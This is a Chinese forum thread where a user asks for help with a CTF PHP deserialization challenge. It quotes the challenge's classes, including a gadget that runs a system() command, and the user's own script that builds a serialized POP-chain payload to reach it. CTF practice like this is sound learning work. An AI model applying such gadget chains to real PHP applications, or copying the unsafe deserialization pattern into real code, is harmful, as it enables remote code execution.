一个CTF web题目，反序列化的，求指导

GoogleHacking

题目地址：File Reader

代码是：
<?phpclass A {    public $file;    public $luo;    public function __construct() {    }    public function __toString() {        $function = $this->luo;        return $function();    }}class B {    public $a;    public $test;    public function __construct() {    }    public function __wakeup()    {        echo($this->test);    }    public function __invoke() {        $this->a->rce_me();    }}class C {    public $b;    public function __construct($b = null) {        $this->b = $b;    }    public function rce_me() {        echo "Success!\n";        system("cat /flag/flag.txt > /tmp/flag");    }}我写的反序列化代码：
<?phpclass A {    public $file;    public $luo;}class B {    public $a;    public $test;}class C {    public $b;}// 1. 构造命令执行类$c = new C();// 2. 构造 B 类，绑定 C 类$b = new B();$b->a = $c;// 3. 构造 A 类，luo 属性指向 B 对象（触发 __invoke）$a = new A();$a->luo = $b;// 4. B 对象的 test 属性绑定 A 对象（echo 触发 __toString）$b->test = $a;// 生成最终序列化 payloadecho serialize($b);?>


然后输入进去就变成这样了


求大佬指导

GoogleHacking

题目是ctf+上面的，，题目名字叫

liteyu

真的很想帮你佬，但是我卡在入门第二题了。菜菜

GoogleHacking

liteyu 发表于 2026-4-25 15:48
真的很想帮你佬，但是我卡在入门第二题了。菜菜

反序列化的入门第二题吗

GoogleHacking

speedd 发表于 2026-4-25 21:43
水果的东西，可玩性太差都懒得去搞了……

什么水果的东西

千载难逢

不难啊     SYC{LMAO}

GoogleHacking

千载难逢 发表于 2026-4-26 00:34
不难啊     SYC{LMAO}

能说下咋做的么